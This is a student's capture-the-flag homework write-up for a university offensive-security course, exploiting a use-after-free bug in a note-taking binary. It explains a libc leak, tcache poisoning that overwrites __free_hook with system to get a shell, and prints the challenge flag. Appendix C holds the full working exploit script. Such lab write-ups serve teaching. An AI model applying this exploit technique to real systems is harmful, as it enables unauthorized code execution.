# Homework 4 Challenge Writeup

**Pwn Part Four**

Lindsay Von Tish

lmv9443@nyu.edu

03/27/2024

Table of Contents

[Homework 4 Challenge Writeup 1](#_Toc162457654)

[Challenge Details 2](#_Toc162457655)

[UAF 2](#_Toc162457656)

[Overview 2](#_Toc162457657)

[Details 2](#_Toc162457658)

[Appendix A: Student Information 10](#_Toc162457659)

[Appendix B: Tools 10](#_Toc162457660)

[Appendix C: UAF\_Pwn.py 11](#_Toc162457661)

# Challenge Details

## UAF

### Overview

|  |  |  |
| --- | --- | --- |
| UAF | | |
| **150 Points** | **Flag Value** | flag{U5E\_after\_fr33\_m0ar\_l1k3\_uafs\_aR3\_fun} |
| **Location** | offsec-chalbroker.osiris.cyber.nyu.edu 12347 |
| **Download** | share.zip |
| **Filename** | chal |

### Details

When ran, the challenge offers a menu of options for creating, editing, deleting, and reading notes.

|  |
| --- |
| void menu(void)  {  puts("=========== NYU OFFSEC ============");  puts("1.\tAdd a note");  puts("2.\tDelete a note");  puts("3.\tEdit a note");  puts("4.\tRead a note");  puts("5.\tExit");  puts("=========== NYU OFFSEC ============");  putchar(0x3e);  return;  } |

Menu

Each piece of functionality interacts with memory chunks on the heap.

The *add* function creates a note of a user-specified size by using *malloc* to allocate memory.

|  |
| --- |
| void add(void)  {  int val;  ulong size;  void \*ptr;  ulong n;    for (n = 0; (n < 0x10 && (\*(long \*)(ptr\_array + n \* 8) != 0)); n = n + 1) {  }  puts("Size:");  val = readint();  size = (ulong)val;  if ((size < 0x2000) && (ptr = malloc(size), ptr != (void \*)0x0)) {  \*(void \*\*)(ptr\_array + n \* 8) = ptr;  \*(ulong \*)(size\_array + n \* 8) = size;  }  return;  } |

Add

The delete function *frees* the memory for a note at a user-entered index. However, it does not set the pointer to *NULL* after freeing the memory, which could lead to a *Use-After-Free* issue.

|  |
| --- |
| void delete(void)  {  int i;    puts("which note do you wanna delete?");  putchar(0x3e);  i = readint();  if ((ulong)(long)i < 0x10) {  free(\*(void \*\*)(ptr\_array + (long)i \* 8));  }  return;  } |

Delete

The *edit* function saves user-input data as the contents of the note.

|  |
| --- |
| void edit(void)  {  int i;  ulong u;    puts("which note do you wanna edit?");  putchar(0x3e);  i = readint();  u = (ulong)i;  if (u < 0x10) {  puts("Content:");  read(0,\*(void \*\*)(ptr\_array + u \* 8),\*(size\_t \*)(size\_array + u \* 8));  }  return;  } |

Edit

The *show* function writes the content of the note to *stdout*.

|  |
| --- |
| void show(void)  {  int i;  ulong u;  puts("which note do you wanna read?");  putchar(0x3e);  i = readint();  u = (ulong)i;  if (u < 0x10) {  puts("Content:");  write(1,\*(void \*\*)(ptr\_array) + u \* 8),\*(size\_t \*)(size\_array + u \* 8));  }  return;  } |

Edit

Basically, the program has provided easy ways for the user to allocate and free space on the program heap. An attacker can leverage these functions to gain control of the program.

The attack against this program will be broken into three parts: leaking a glibc address, overwriting the *malloc\_hook* in glibc, and executing a command.

#### Leaking GlibC

The Use-After-Free issue provided by the *delete* function will allow us to leak an address in *glibc*. When memory is *freed*, the portion of the memory that held the data now holds a pointer to the next piece of freed memory. When a large enough piece of memory is *freed*, it goes into *largebins*, which store *free* memory chunks next to glibc.

To leak the memory, we need to create a large enough note that it will go into *largebins* when the chunk is *freed*. We can’t immediately free it because then the chunk would be absorbed by the heap, so we need to create another “border” note to sit between it and the unused portion of the heap. Then we can free the large note and, when we read it, it should contain an address value.

The following script leaks the address:

|  |
| --- |
| def leakAddr(p):  # Add note to fall into unsortedbins  n = addNote(p, 1033)  t.sleep(0.25)  p.sendline("c")  print(cleanLine(p.recvline()))  t.sleep(0.25)    # Add border note  addNote(p, 24)  t.sleep(0.25)  p.sendline("c")  print(cleanLine(p.recvline()))  t.sleep(0.25)    # Delete unsortedbins note  deleteNote(p, n)  t.sleep(0.25)  p.sendline("c")  print(cleanLine(p.recvline()))  t.sleep(0.25)    # Read that note and get the address  leak = readAddr(p, n)  print("Leaked Address:")  print(hex(leak))  p.sendline("c")  print(cleanLine(p.recvline()))  t.sleep(0.25)  return(leak) |

leakAddr Script

When ran, we can see that the leaked location is 96 lines into the main arena.

|  |
| --- |
| Reading address from note 0  which note do you wanna read?  >Content:  0x7ffff7fafbe0  Breakpoint 1, 0x0000555555555249 in menu ()  gef➤ $ x/2x 0x7ffff7fafbe0  0x7ffff7fafbe0 <main\_arena+96>: 0x555596d0 0x00005555 |

Leaked Address

We can use that value to calculate the address of libc by subtracting 0x1ECBE0.

|  |
| --- |
| >Content:  0x7ffff7fafbe0  Leaked Address:  0x7ffff7fafbe0  Continuing.  LibC Base Address:  0x7ffff7dc3000  System address?  0x7ffff7ea6afe |

More Addresses

#### Arbitrary Write

We can also use the UAF issue to write to arbitrary (but writeable) parts of the memory. That is what the following script does:

|  |
| --- |
| def arbitraryWrite(p, malHook, system):  # 1) Add two more same size allocations  n1 = addNote(p, 24)  t.sleep(0.5)    n0 = n1 - 1 # This points to that "border note"    n2 = addNote(p, 24)  t.sleep(0.5)  # 2) Free N1  deleteNote(p, n1)  t.sleep(0.5)  # 3) Free N0  deleteNote(p, n0)  t.sleep(0.5)  # 4) Edit note to include overwrite data  writeNote(p, n0, malHook)  t.sleep(0.5)  #p.interactive()  # 5) Allocate a new note  n3 = addNote(p, 24)  #p.recv()  p.clean(timeout=0.1)  t.sleep(0.5)  # 6) One more new note  n4 = addNote(p, 24)  t.sleep(0.5)  # 7) Final edit of note4 to hold the address of system  writeNote(p, n4, system)  t.sleep(0.5) |

Arbitrary Write Script

The process can be split into 5 steps:

1. Write two same size allocations

Note, this also uses the “border note” we made earlier as a first

1. Free the second allocation

This creates an entry for it in the tcache

1. Free the first (border note) allocation
2. Edit that note so that it includes the location we want to overwrite

This writes the entered address over the pointer to the next tcache chunk

1. Allocate a new note
2. Allocate yet another note
3. Finally, edit the most recent note with the data that you want to write.

The big issue here is that the program lets us edit a note after deleting it.

This is what the tcache looks like after some of the steps when we use a random writeable address and fill it with the string “aaaa”

Step 4: We see the entered data in the address stored in the second tcache bin

|  |
| --- |
| Tcachebins[idx=0, size=0x20, count=2]  ← Chunk(addr=0x5555555592a0, size=0x20, flags=PREV\_INUSE | IS\_MMAPPED | NON\_MAIN\_ARENA)  ← Chunk(addr=0x555555558000, size=0x7ffff7e09f10, flags=PREV\_INUSE | IS\_MMAPPED | NON\_MAIN\_ARENA) |

Step 5: We reallocated the first stored chunk so now we only see the one we edited

|  |
| --- |
| Tcachebins[idx=8796084505071, size=0x7ffff7e09f10, count=1] ← Chunk(addr=0x555555558000, size=0x7ffff7e09f10, flags=PREV\_INUSE | IS\_MMAPPED | NON\_MAIN\_ARENA) |

After Step 6, the tcache bins are empty because that corrupted chunk was re-allocated. When we edit the newest note in step 7, we can see our content stored in that address.

|  |
| --- |
| =========== NYU OFFSEC ============  1. Add a note  2. Delete a note  3. Edit a note  4. Read a note  5. Exit  =========== NYU OFFSEC ============  >$ 3  which note do you wanna edit?  >$ 4  Content:  $ aaaa  gef➤ $ x/2x 0x0000555555558000  0x555555558000: 0x61616161 0x0000000a |

Step 7

Finally, we get to put the pieces together to exploit it

#### Exploitation

The below script handles each step of the exploitation.

|  |
| --- |
| def remotePwn():  elf = ELF("./libc-2.31.so")  p = remote(HOST, PORT)  p.recv()  p.clean(timeout=0.1)  leak = leakLibC(p)  libc = leak - 0x1ECBE0  print("LibC Base Address:")  print(hex(libc))  system = libc + elf.symbols['system']  print("System address?")  print(hex(system))  malHook = libc + elf.symbols['\_\_free\_hook']  print("Malloc address?")  print(hex(malHook))  arbitraryWrite(p, malHook, system)  p.interactive() |

Pwn Script

First, the script uses the UAF issue to leak the address of libc. It then uses that value to calculate the address of the *system* function in libc and the *free\_hook* address.

In glibc versions prior to 2.32, malloc and free have “hooks” that are basically just pointers. They’re set to NULL by default, but if they point to a valid function, it will run when malloc or free is called. This is important, because the next thing my script does is use the arbitrary write to overwrite the *free* hook with the address of *system.* Then my script turns the terminal over to the user to do the next steps by hand.

Currently, when we call *delete*, it will attempt to call *system* because we set the *free­\_hook* to point there. However, we need to pass *system* a pointer to the string “bin/sh.” To do this, we create a new note, then edit it so that the contents contain our string.

|  |
| --- |
| $ 1  Size:  $ 24  =========== NYU OFFSEC ============  1. Add a note  2. Delete a note  3. Edit a note  4. Read a note  5. Exit  =========== NYU OFFSEC ============  >$ 3  which note do you wanna edit?  >$ 6  Content:  $ /bin/sh |

Pwn Setup

Now, when we call *delete*, we will pass it the pointer to a note that contains our bin/sh string, which will in turn, pass that pointer to *free* and then to *system* through the *free\_hook.*

|  |
| --- |
| =========== NYU OFFSEC ============  1. Add a note  2. Delete a note  3. Edit a note  4. Read a note  5. Exit  =========== NYU OFFSEC ============  >$ 2  which note do you wanna delete?  >$ 6  $ whoami  /bin/sh: 1: whoami: not found  $ pwd  /  $ ls  bin  chal  dev  flag  flag.txt  lib  lib32  lib64  libx32  logo  run.sh  usr  $ cat flag.txt  flag{U5E\_after\_fr33\_m0ar\_l1k3\_uafs\_aR3\_fun} |

Exploitation

When the note deletes, the program runs *system(“/bin/sh)”*, giving us a shell!

The full code is available in the appendix.

## Appendix A: Student Information

|  |  |
| --- | --- |
| Lindsay Von Tish | |
| Email | [lmv9443@nyu.edu](mailto:lmv9443@nyu.edu) |

## Appendix B: Tools

|  |  |
| --- | --- |
| Name | URL |
| GDB | <https://www.gnu.org/software/gdb/gdb.html> |
| GEF (GDB Enhanced Features) | https://github.com/hugsy/gef |
| Ghidra | <https://ghidra-sre.org/> |
| Netcat | <https://netcat.sourceforge.net/> |
| PwnTools | <https://github.com/Gallopsled/pwntools> |

# 

## Appendix C: UAF\_Pwn.py

|  |
| --- |
| from pwn import \*  from pwnlib.util.packing import \*  import re  import struct  import math  import warnings  import time as t  warnings.filterwarnings("ignore") # Had to kill those pwntools ascii warnings...they're annoying  def cleanLine(ln):  ansi\_escape = re.compile(r'\x1B(?:[@-Z\\-\_]|\[[0-?]\*[ -/]\*[@-~])')  l = ansi\_escape.sub('', str(ln, encoding='utf-8'))  return l  BINARY\_FILE = "/home/jnu/Desktop/7-Week/uaf/challenge/chal"  #p = process(BINARY\_FILE)  HOST = "offsec-chalbroker.osiris.cyber.nyu.edu"  PORT = 12347  #p = remote(HOST, PORT)  # Array of all of the notes/sizes  NOTES = []  # A function to add a note  # Input: Process, int representing note size  # Output: Int representing note pointer  def addNote(p, size):  n = len(NOTES)  p.sendline("1")  print("Adding note " + str(n))  t.sleep(0.25)  print(cleanLine(p.recvline()))  p.sendline(str(size))  p.recv()  p.clean(timeout=0.1)  NOTES.append(size)  return(n)  # A function to delete a note  # Input: Process, Int representing note pointer  # Output: N/A  def deleteNote(p, n):  p.sendline("2")  print("Deleting note " + str(n))  t.sleep(0.25)  print(cleanLine(p.recvline()))  p.sendline(str(n))  #p.interactive()  p.recv()  p.clean(timeout=0.1)  return(0)  # A function to read the leaked c address from a note pointer  # Input: Process, Int representing note number  # Output: String representing address near glibc in memory  def readAddr(p, n):  #p.recv()  p.clean(timeout=0.1)  p.sendline("4")  print("Reading address from note " + str(n))  t.sleep(0.25)  print(cleanLine(p.recvline()))  #p.interactive()  p.sendline(str(n))  print(cleanLine(p.recvline()))  l = p.recv(numb=8)  lk = hex(unpack(l, 'all', endian='little', sign=False))  lInt = unpack(l, 'all', endian='little', sign=False)  print(lk)  p.recv()  p.clean(timeout=0.1)  return(lInt)  # A function that performs the operations to leak an address in libc  # Input: Process  # Output: String representing glibc base address  def leakLibC(p):  # Add note to fall into unsortedbins  n = addNote(p, 1033)  t.sleep(0.5)  # Add border note  addNote(p, 24)  t.sleep(0.5)  # Delete unsortedbins note  deleteNote(p, n)  # Read that note and get the address  leak = readAddr(p, n)  print("Leaked Address:")  print(hex(leak))  t.sleep(0.25)  return(leak)  def writeNote(p, n, data):  p.sendline("3")  t.sleep(0.25)  print(cleanLine(p.recvline()))  print("Editing note " + str(n))  p.sendline(str(n))  t.sleep(0.25)  print(cleanLine(p.recvline()))  print("Sending data: " + hex(data))  p.sendline(p64(data))  p.recv()  p.clean(timeout=0.1)  t.sleep(0.25)  return(0)  def arbitraryWrite(p, malHook, system):  # 1) Add two more same size allocations  n1 = addNote(p, 24)  t.sleep(0.5)    n0 = n1 - 1 # This points to that "border note"    n2 = addNote(p, 24)  t.sleep(0.5)  # 2) Free N1  deleteNote(p, n1)  t.sleep(0.5)  # 3) Free N0  deleteNote(p, n0)  t.sleep(0.5)  # 4) Edit note to include overwrite data  writeNote(p, n0, malHook)  t.sleep(0.5)  #p.interactive()  # 5) Allocate a new note  n3 = addNote(p, 24)  #p.recv()  p.clean(timeout=0.1)  t.sleep(0.5)  # 6) One more new note  n4 = addNote(p, 24)  t.sleep(0.5)  # 7) Final edit of note4 to hold the address of system  writeNote(p, n4, system)  t.sleep(0.5)  def localPwn():  elf = ELF("./libc-2.31.so")  p = process(BINARY\_FILE)  p.recv()  p.clean(timeout=0.1)  leak = leakLibC(p)  libc = leak - 0x1ECBE0  print("LibC Base Address:")  print(hex(libc))  system = libc + elf.symbols['system']  print("System address?")  print(hex(system))  malHook = libc + elf.symbols['\_\_free\_hook']  print("Malloc address?")  print(hex(malHook))  binsh = libc + 0x1b45bd  print("BinSh pointer?:")  print(hex(binsh))  arbitraryWrite(p, malHook, system)  p.interactive()  #addNote(p, binsh)  #deleteNote(p, p64(binsh))  p.sendline("2")  print("Deleting note")  t.sleep(0.25)  print(cleanLine(p.recvline()))  p.sendline(p64(binsh))  p.interactive()  p.recv()  p.clean(timeout=0.1)  p.interactive()  #p.interactive()  def remotePwn():  elf = ELF("./libc-2.31.so")  p = remote(HOST, PORT)  p.recv()  p.clean(timeout=0.1)  leak = leakLibC(p)  libc = leak - 0x1ECBE0  print("LibC Base Address:")  print(hex(libc))  system = libc + elf.symbols['system']  print("System address?")  print(hex(system))  malHook = libc + elf.symbols['\_\_free\_hook']  print("Malloc address?")  print(hex(malHook))  arbitraryWrite(p, malHook, system)  p.interactive()  #localPwn()  remotePwn() |